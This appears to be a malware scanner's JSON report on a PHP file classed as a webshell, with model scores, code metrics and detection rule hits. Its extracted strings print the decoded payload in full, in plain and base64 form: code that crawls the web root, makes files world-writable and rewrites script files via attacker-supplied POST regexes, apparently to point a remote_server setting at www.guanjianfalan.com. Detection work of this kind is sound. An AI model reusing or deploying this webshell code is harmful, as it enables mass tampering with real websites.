{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9999876022338867,
        "class": 2
      }
    ],
    "prob": 0.9999876,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.9987972,
        "class": 1
      },
      {
        "m": "az/scripts",
        "prob": 0.99997973,
        "class": 2
      },
      {
        "m": "az/php",
        "prob": 0.9999876,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-09T23:46:00Z"
  },
  "path": "f3.php",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₂(As₂C)H₄(CmF₂OsPo)MdTh",
        "k": {
          "source.imports[0]": "BL",
          "source.imports[1]": "RP",
          "source.imports[2]": "base64_decode",
          "source.imports[3]": "base_convert",
          "source.imports[4]": "chmod",
          "source.imports[5]": "closedir",
          "source.imports[6]": "explode",
          "source.imports[7]": "file_get_contents",
          "source.imports[8]": "file_put_contents",
          "source.imports[9]": "fileperms",
          "source.strings[0]": "794021;@ini_set(\"display_errors\",\"0\");@set_time_limit(0);@set_magic_quotes_runtime(0);echo(\"-\u003e|\");$GLOBALS['I']=0;$GLOBALS['D']=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],\"\\\\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER[\"PHP_SELF\"]):str_replace(str_replace(\"/\",\"\\\\\",isset($_SERVER[\"PHP_SELF\"])?$_SERVER[\"PHP_SELF\"]:(isset($_SERVER[\"URL\"])?$_SERVER[\"URL\"]:$_SERVER[\"SCRIPT_NAME\"])),\"\",isset($_SERVER[\"PATH_TRANSLATED\"])?$_SERVER[\"PATH_TRANSLATED\"]:$_SERVER[\"SCRIPT_FILENAME\"])));BL($GLOBALS['D'],0);function RP($V){$per=@fileperms($V);@chmod($V,base_convert(\"0777\",8,10));$msg=@file_get_contents($V);$count=0;$msg2 = preg_replace('/'.base64_decode(get_magic_quotes_gpc()?stripslashes($_POST[\"x1\"]):$_POST[\"x1\"]).'/is', base64_decode(get_magic_quotes_gpc()?stripslashes($_POST[\"x2\"]):$_POST[\"x2\"]), $msg,-1,$count);if($count\u003e0){if(file_put_contents($V,$msg2)){$GLOBALS['I']=$GLOBALS['I']+1;}}}function BL($P){$A=@opendir($P);if($A!=NULL){while($B=@readdir($A)){if($B!=\".\"\u0026\u0026$B!=\"..\")$E=$P.\"/\".$B;if(@is_dir($E))BL($E);if(@is_file($E)\u0026\u0026@filesize($E)\u003cbase64_decode(get_magic_quotes_gpc()?stripslashes($_POST[\"x4\"]):$_POST[\"x4\"])*1024\u0026\u0026@strtolower(pathinfo($E,PATHINFO_EXTENSION))!=\"\"\u0026\u0026in_array(strtolower(@strtolower(pathinfo($E,PATHINFO_EXTENSION))),explode('|', base64_decode(get_magic_quotes_gpc()?stripslashes($_POST[\"x3\"]):$_POST[\"x3\"]))))RP($E);}@closedir($A);}}echo($GLOBALS['I'].\"|\u003c-\");die();",
          "source.strings[1]": "APPL_PHYSICAL_PATH",
          "source.strings[2]": "BaSE64_dEcOdE",
          "source.strings[3]": "DOCUMENT_ROOT",
          "source.strings[4]": "Nzk0MDIxO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTskR0xPQkFMU1snSSddPTA7JEdMT0JBTFNbJ0QnXT1pc3NldCgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKT8kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOihpc3NldCgkX1NFUlZFUlsnQVBQTF9QSFlTSUNBTF9QQVRIJ10pP3RyaW0oJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddLCJcXCIpOihpc3NldCgkX1snUEFUSF9UUkFOU0xBVEVEJ10pP3N0cl9yZXBsYWNlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKTpzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLyIsIlxcIixpc3NldCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk/JF9TRVJWRVJbIlBIUF9TRUxGIl06KGlzc2V0KCRfU0VSVkVSWyJVUkwiXSk/JF9TRVJWRVJbIlVSTCJdOiRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdKSksIiIsaXNzZXQoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKT8kX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl06JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSkpO0JMKCRHTE9CQUxTWydEJ10sMCk7ZnVuY3Rpb24gUlAoJFYpeyRwZXI9QGZpbGVwZXJtcygkVik7QGNobW9kKCRWLGJhc2VfY29udmVydCgiMDc3NyIsOCwxMCkpOyRtc2c9QGZpbGVfZ2V0X2NvbnRlbnRzKCRWKTskY291bnQ9MDskbXNnMiA9IHByZWdfcmVwbGFjZSgnLycuYmFzZTY0X2RlY29kZShnZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbIngxIl0pOiRfUE9TVFsieDEiXSkuJy9pcycsIGJhc2U2NF9kZWNvZGUoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKT9zdHJpcHNsYXNoZXMoJF9QT1NUWyJ4MiJdKTokX1BPU1RbIngyIl0pLCAkbXNnLC0xLCRjb3VudCk7aWYoJGNvdW50PjApe2lmKGZpbGVfcHV0X2NvbnRlbnRzKCRWLCRtc2cyKSl7JEdMT0JBTFNbJ0knXT0kR0xPQkFMU1snSSddKzE7fX19ZnVuY3Rpb24gQkwoJFApeyRBPUBvcGVuZGlyKCRQKTtpZigkQSE9TlVMTCl7d2hpbGUoJEI9QHJlYWRkaXIoJEEpKXtpZigkQiE9Ii4iJiYkQiE9Ii4uIikkRT0kUC4iLyIuJEI7aWYoQGlzX2RpcigkRSkpQkwoJEUpO2lmKEBpc19maWxlKCRFKSYmQGZpbGVzaXplKCRFKTxiYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsieDQiXSk6JF9QT1NUWyJ4NCJdKSoxMDI0JiZAc3RydG9sb3dlcihwYXRoaW5mbygkRSxQQVRISU5GT19FWFRFTlNJT04pKSE9IiImJmluX2FycmF5KHN0cnRvbG93ZXIoQHN0cnRvbG93ZXIocGF0aGluZm8oJEUsUEFUSElORk9fRVhURU5TSU9OKSkpLGV4cGxvZGUoJ3wnLCBiYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsieDMiXSk6JF9QT1NUWyJ4MyJdKSkpKVJQKCRFKTt9QGNsb3NlZGlyKCRBKTt9fWVjaG8oJEdMT0JBTFNbJ0knXS4ifDwtIik7ZGllKCk7",
          "source.strings[5]": "PATH_TRANSLATED",
          "source.strings[6]": "PHP_SELF",
          "source.strings[7]": "Remote_server = \"www.guanjianfalan.com\"",
          "source.strings[8]": "SCRIPT_FILENAME",
          "source.strings[9]": "SCRIPT_NAME",
          "source.has_imports": true,
          "source.imports[10]": "filesize",
          "source.imports[11]": "get_magic_quotes_gpc",
          "source.imports[12]": "in_array",
          "source.imports[13]": "ini_set",
          "source.imports[14]": "is_dir",
          "source.imports[15]": "is_file",
          "source.imports[16]": "isset",
          "source.imports[17]": "opendir",
          "source.imports[18]": "pathinfo",
          "source.imports[19]": "preg_replace",
          "source.imports[20]": "readdir",
          "source.imports[21]": "set_magic_quotes_runtime",
          "source.imports[22]": "set_time_limit",
          "source.imports[23]": "str_replace",
          "source.imports[24]": "stripslashes",
          "source.imports[25]": "strtolower",
          "source.imports[26]": "trim",
          "source.strings[10]": "UmVtb3RlX3NlcnZlciA9ICJ3d3cuZ3VhbmppYW5mYWxhbi5jb20i",
          "source.strings[11]": "YXNwfHBocHxqc3B8YXNweA==",
          "source.strings[12]": "asp|php|jsp|aspx",
          "source.strings[13]": "cmVtb3RlX3NlcnZlciAqPSAqW1wnfFwiXSpcUytbXCd8XCJd",
          "source.strings[14]": "display_errors",
          "source.strings[15]": "remote_server *= *[\\'|\\\"]*\\S+[\\'|\\\"]",
          "source.functions[0]": "BL",
          "source.functions[1]": "RP"
        },
        "x": 184,
        "id": 0,
        "is": [
          "base64_decode",
          "base64_decode",
          "base64_decode",
          "base64_decode",
          "ini_set",
          "set_time_limit",
          "set_magic_quotes_runtime",
          "isset",
          "isset",
          "trim",
          "isset",
          "str_replace",
          "str_replace",
          "str_replace",
          "isset",
          "isset",
          "isset",
          "BL",
          "fileperms",
          "chmod",
          "base_convert",
          "file_get_contents",
          "preg_replace",
          "base64_decode",
          "get_magic_quotes_gpc",
          "stripslashes",
          "base64_decode",
          "get_magic_quotes_gpc",
          "stripslashes",
          "file_put_contents",
          "opendir",
          "readdir",
          "is_dir",
          "BL",
          "is_file",
          "filesize",
          "base64_decode",
          "get_magic_quotes_gpc",
          "stripslashes",
          "strtolower",
          "pathinfo",
          "in_array",
          "strtolower",
          "strtolower",
          "pathinfo",
          "explode",
          "base64_decode",
          "get_magic_quotes_gpc",
          "stripslashes",
          "RP",
          "closedir"
        ],
        "ms": {
          "file": {
            "size": 4094.0
          },
          "text": {
            "digit_ratio": 0.1,
            "space_count": 373.0,
            "total_lines": 51.0,
            "char_entropy": 5.99,
            "unique_chars": 91.0,
            "import_density": 100.0,
            "lines_over_200": 3.0,
            "lines_over_500": 1.0,
            "string_density": 1.49,
            "avg_line_length": 79.27,
            "lines_over_1000": 1.0,
            "max_line_length": 2001.0,
            "last_line_length": 4.0,
            "long_token_count": 1.0,
            "most_common_char": "R",
            "whitespace_ratio": 0.1,
            "most_common_ratio": 0.03,
            "identifier_density": 2.43,
            "line_length_stddev": 283.63,
            "encoded_string_ratio": 0.11,
            "normalized_import_count": 7.14,
            "normalized_string_count": 10.64,
            "repeated_char_sequences": 10.0,
            "max_inline_whitespace_run": 1.0,
            "normalized_function_count": 0.28,
            "imports_to_functions_ratio": 25.5,
            "strings_to_functions_ratio": 38.0,
            "suspicious_identifier_ratio": 0.23,
            "normalized_unique_identifiers": 8.29,
            "identifiers_to_functions_ratio": 23.5
          },
          "imports": {
            "total": 51.0,
            "unique_modules": 27.0,
            "third_party_count": 51.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 76.0,
            "avg_length": 61.55,
            "max_length": 1992.0,
            "path_count": 2.0,
            "avg_entropy": 1.96,
            "total_bytes": 4678.0,
            "entropy_stddev": 1.66,
            "base64_candidates": 8.0,
            "very_long_strings": 2.0,
            "high_entropy_count": 2.0
          },
          "comments": {},
          "functions": {
            "total": 2.0,
            "length_stddev": 2.5,
            "avg_name_length": 2.0,
            "no_params_count": 2.0,
            "avg_length_lines": 17.5,
            "max_length_lines": 20.0,
            "min_length_lines": 15.0,
            "density_per_100_lines": 3.92,
            "code_in_functions_ratio": 0.69
          },
          "identifiers": {
            "total": 124.0,
            "avg_length": 7.02,
            "max_length": 24.0,
            "min_length": 1.0,
            "avg_entropy": 2.03,
            "reuse_ratio": 0.38,
            "unique_count": 47.0,
            "length_stddev": 5.59,
            "has_digit_ratio": 0.17,
            "sequential_names": 11.0,
            "single_char_count": 6.0,
            "single_char_ratio": 0.13,
            "high_entropy_count": 2.0,
            "high_entropy_ratio": 0.04,
            "all_lowercase_ratio": 0.62,
            "all_uppercase_ratio": 0.23,
            "numeric_suffix_count": 7.0,
            "underscore_prefix_count": 2.0
          }
        },
        "ss": [
          [
            26,
            "cmVtb3RlX3NlcnZlciAqPSAqW1wnfFwiXSpcUytbXCd8XCJd"
          ],
          [
            27,
            "cmVtb3RlX3NlcnZlciAqPSAqW1wnfFwiXSpcUytbXCd8XCJd"
          ],
          [
            99,
            "UmVtb3RlX3NlcnZlciA9ICJ3d3cuZ3VhbmppYW5mYWxhbi5jb20i"
          ],
          [
            100,
            "UmVtb3RlX3NlcnZlciA9ICJ3d3cuZ3VhbmppYW5mYWxhbi5jb20i"
          ],
          [
            176,
            "YXNwfHBocHxqc3B8YXNweA=="
          ],
          [
            177,
            "YXNwfHBocHxqc3B8YXNweA=="
          ],
          [
            225,
            "MzA="
          ],
          [
            226,
            "MzA="
          ],
          [
            240,
            "Nzk0MDIxO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwi"
          ],
          [
            241,
            "Nzk0MDIxO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwi"
          ],
          [
            2242,
            "BaSE64_dEcOdE"
          ],
          [
            2243,
            "BaSE64_dEcOdE"
          ],
          [
            2268,
            "display_errors"
          ],
          [
            2269,
            "display_errors"
          ],
          [
            2286,
            "0"
          ],
          [
            2287,
            "0"
          ],
          [
            2347,
            "-\u003e|"
          ],
          [
            2348,
            "-\u003e|"
          ],
          [
            2363,
            "I"
          ],
          [
            2364,
            "I"
          ],
          [
            2382,
            "D"
          ],
          [
            2383,
            "D"
          ],
          [
            2404,
            "DOCUMENT_ROOT"
          ],
          [
            2405,
            "DOCUMENT_ROOT"
          ],
          [
            2433,
            "DOCUMENT_ROOT"
          ],
          [
            2434,
            "DOCUMENT_ROOT"
          ],
          [
            2468,
            "APPL_PHYSICAL_PATH"
          ],
          [
            2469,
            "APPL_PHYSICAL_PATH"
          ],
          [
            2507,
            "APPL_PHYSICAL_PATH"
          ],
          [
            2508,
            "APPL_PHYSICAL_PATH"
          ],
          [
            2530,
            "\\\\"
          ],
          [
            2548,
            "PATH_TRANSLATED"
          ],
          [
            2549,
            "PATH_TRANSLATED"
          ],
          [
            2591,
            "PHP_SELF"
          ],
          [
            2592,
            "PHP_SELF"
          ],
          [
            2630,
            "/"
          ],
          [
            2631,
            "/"
          ],
          [
            2635,
            "\\\\"
          ],
          [
            2656,
            "PHP_SELF"
          ],
          [
            2657,
            "PHP_SELF"
          ],
          [
            2680,
            "PHP_SELF"
          ],
          [
            2681,
            "PHP_SELF"
          ],
          [
            2710,
            "URL"
          ],
          [
            2711,
            "URL"
          ],
          [
            2729,
            "URL"
          ],
          [
            2730,
            "URL"
          ],
          [
            2747,
            "SCRIPT_NAME"
          ],
          [
            2748,
            "SCRIPT_NAME"
          ],
          [
            2784,
            "PATH_TRANSLATED"
          ],
          [
            2785,
            "PATH_TRANSLATED"
          ],
          [
            2815,
            "PATH_TRANSLATED"
          ],
          [
            2816,
            "PATH_TRANSLATED"
          ],
          [
            2845,
            "SCRIPT_FILENAME"
          ],
          [
            2846,
            "SCRIPT_FILENAME"
          ],
          [
            2880,
            "D"
          ],
          [
            2881,
            "D"
          ],
          [
            2995,
            "0777"
          ],
          [
            2996,
            "0777"
          ],
          [
            3088,
            "/"
          ],
          [
            3089,
            "/"
          ],
          [
            3160,
            "/is"
          ],
          [
            3161,
            "/is"
          ],
          [
            3333,
            "I"
          ],
          [
            3334,
            "I"
          ],
          [
            3349,
            "I"
          ],
          [
            3350,
            "I"
          ],
          [
            3530,
            "."
          ],
          [
            3531,
            "."
          ],
          [
            3543,
            ".."
          ],
          [
            3544,
            ".."
          ],
          [
            3577,
            "/"
          ],
          [
            3578,
            "/"
          ],
          [
            3923,
            "|"
          ],
          [
            3924,
            "|"
          ],
          [
            4081,
            "0|\u003c-"
          ],
          [
            4082,
            "0|\u003c-"
          ],
          [
            6,
            "base64",
            "remote_server *= *[\\'|\\\"]*\\S+[\\'|\\\"]"
          ],
          [
            79,
            "base64",
            "Remote_server = \"www.guanjianfalan.com\""
          ],
          [
            156,
            "base64",
            "asp|php|jsp|aspx"
          ],
          [
            234,
            "base64",
            "794021;@ini_set(\"display_errors\",\"0\");@set_time_limit(0);@set_magic_quotes_runtime(0);echo(\"-\u003e|\");$GLOBALS['I']=0;$GLOBALS['D']="
          ]
        ],
        "sz": 4094,
        "ts": [
          {
            "c": 0.800000011920929,
            "d": "Sequential source identifier names",
            "e": [
              "identifiers.sequential_names = 11.00"
            ],
            "i": "metadata/file/text/profile::sequential-identifiers",
            "l": 2
          },
          {
            "a": "T1083",
            "c": 1.0,
            "d": "Iterate directory contents via functions in PHP",
            "e": [
              "opendir("
            ],
            "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-fn",
            "l": 2
          },
          {
            "c": 0.8500000238418579,
            "d": "Removes PHP script execution time limit",
            "e": [
              "@set_time_limit(0)"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/session::unlimited-runtime-call",
            "l": 4
          },
          {
            "a": "T1105",
            "c": 0.800000011920929,
            "d": "Creates or overwrites a local file",
            "e": [
              "file_put_contents"
            ],
            "i": "micro-behaviors/fs/write/file/direct::file-put-contents",
            "l": 3,
            "m": "C0052"
          },
          {
            "a": "T1505.003",
            "c": 0.8600000143051147,
            "d": "Very long embedded string",
            "e": [
              "strings.max_length = 1992.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1505.003",
            "c": 0.8999999761581421,
            "d": "PHP source imports base64_decode",
            "e": [
              "[BL, RP, base64_decode, base_convert, chmod, closedir, explode, file_get_contents, file_put_contents, fileperms, filesize, get_m"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-base64-decode",
            "l": 1
          },
          {
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "PHP_SELF"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-2",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Dense base64_decode calls",
            "e": [
              "base64_decode"
            ],
            "i": "objectives/anti-static/obfuscation/string/encoding::dense-base64-decode",
            "l": 4,
            "m": "B0032"
          },
          {
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "$_SERVER["
            ],
            "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-4",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1222",
            "c": 0.699999988079071,
            "d": "Changes file permissions via chmod()",
            "e": [
              "chmod"
            ],
            "i": "micro-behaviors/fs/chmod/modify::chmod-call",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 51.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "c": 0.75,
            "d": "Generic $_SERVER superglobal access",
            "e": [
              "$_SERVER"
            ],
            "i": "micro-behaviors/communications/http/request/params::server-dup",
            "l": 3
          },
          {
            "a": "T1505.003",
            "c": 0.8999999761581421,
            "d": "PHP source imports file_put_contents",
            "e": [
              "[BL, RP, base64_decode, base_convert, chmod, closedir, explode, file_get_contents, file_put_contents, fileperms, filesize, get_m"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-file-put-contents",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "PHP opening tag present",
            "e": [
              "\u003c?php"
            ],
            "i": "metadata/lang/scripted::php-open-tag",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "PHP error suppression operator usage",
            "e": [
              "@file_get_contents($V)",
              "@ini_set('display_errors', '0')",
              "@opendir($P)",
              "@readdir($A)",
              "@is_dir($E)",
              "@is_file($E)",
              "@set_magic_quotes_runtime(0)",
              "@filesize($E)",
              "@strtolower(pathinfo($E, PATHINFO_EXTENSION))",
              "@closedir($A)",
              "@fileperms($V)",
              "@set_time_limit(0)",
              "@chmod($V, base_convert(\"0777\", 8, 10))"
            ],
            "i": "micro-behaviors/os/stdio::error-suppress-prefix",
            "l": 3
          },
          {
            "a": "T1546",
            "c": 1.0,
            "d": "Writes data to a file via functions",
            "e": [
              "file_put_contents("
            ],
            "i": "micro-behaviors/fs/file/write/direct::php-file-write-func",
            "l": 2
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 2001.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.9399999976158142,
            "d": "file_get_contents (raw POST body reader)",
            "e": [
              "file_get_contents"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1082",
            "c": 0.6000000238418579,
            "d": "Accesses DOCUMENT_ROOT variable",
            "e": [
              "$_SERVER['DOCUMENT_ROOT']"
            ],
            "i": "objectives/discovery/system/fingerprint/info::document-root-access",
            "l": 3,
            "m": "E1082"
          },
          {
            "c": 0.6000000238418579,
            "d": "Very long base64 strings present",
            "e": [
              "Nzk0MDIxO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwi"
            ],
            "i": "objectives/anti-static/obfuscation/string/base64::long-base64-in-strings",
            "l": 3
          },
          {
            "c": 0.699999988079071,
            "d": "Remove execution time limit",
            "e": [
              "set_time_limit"
            ],
            "i": "micro-behaviors/process/control/signal::set-time-limit",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "High overall text entropy (encoded",
            "e": [
              "text.char_entropy = 5.99"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Base64-encoded 'function' keyword",
            "e": [
              "Nzk0MDIxO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwi"
            ],
            "i": "objectives/anti-static/obfuscation/string/base64::base64-function-keyword",
            "l": 4
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "794021;@ini_set(\"display_errors\",\"0\");@s \u003cbase64\u003e",
              "Remote_server = \"www.guanjianfalan.com\" \u003cbase64\u003e",
              "remote_server *= *[\\'|\\\"]*\\S+[\\'|\\\"] \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "php webshell containing base64 encoded payload",
            "e": [
              "BvcGVu",
              "base64_decode",
              "\u003c?",
              "BaSE64_dEcOdE",
              "\u003c?php"
            ],
            "i": "third_party/SigBase/WEBSHELL/PHP/Base64/Encoded/Payloads",
            "l": 5
          }
        ],
        "sha": "ffaa1adc82642b79408e36e6397f9f845199d50d9b5758cc3967dd2f3aeb452d",
        "path": "f3.php",
        "type": "php"
      }
    ],
    "tv": "87c42"
  }
}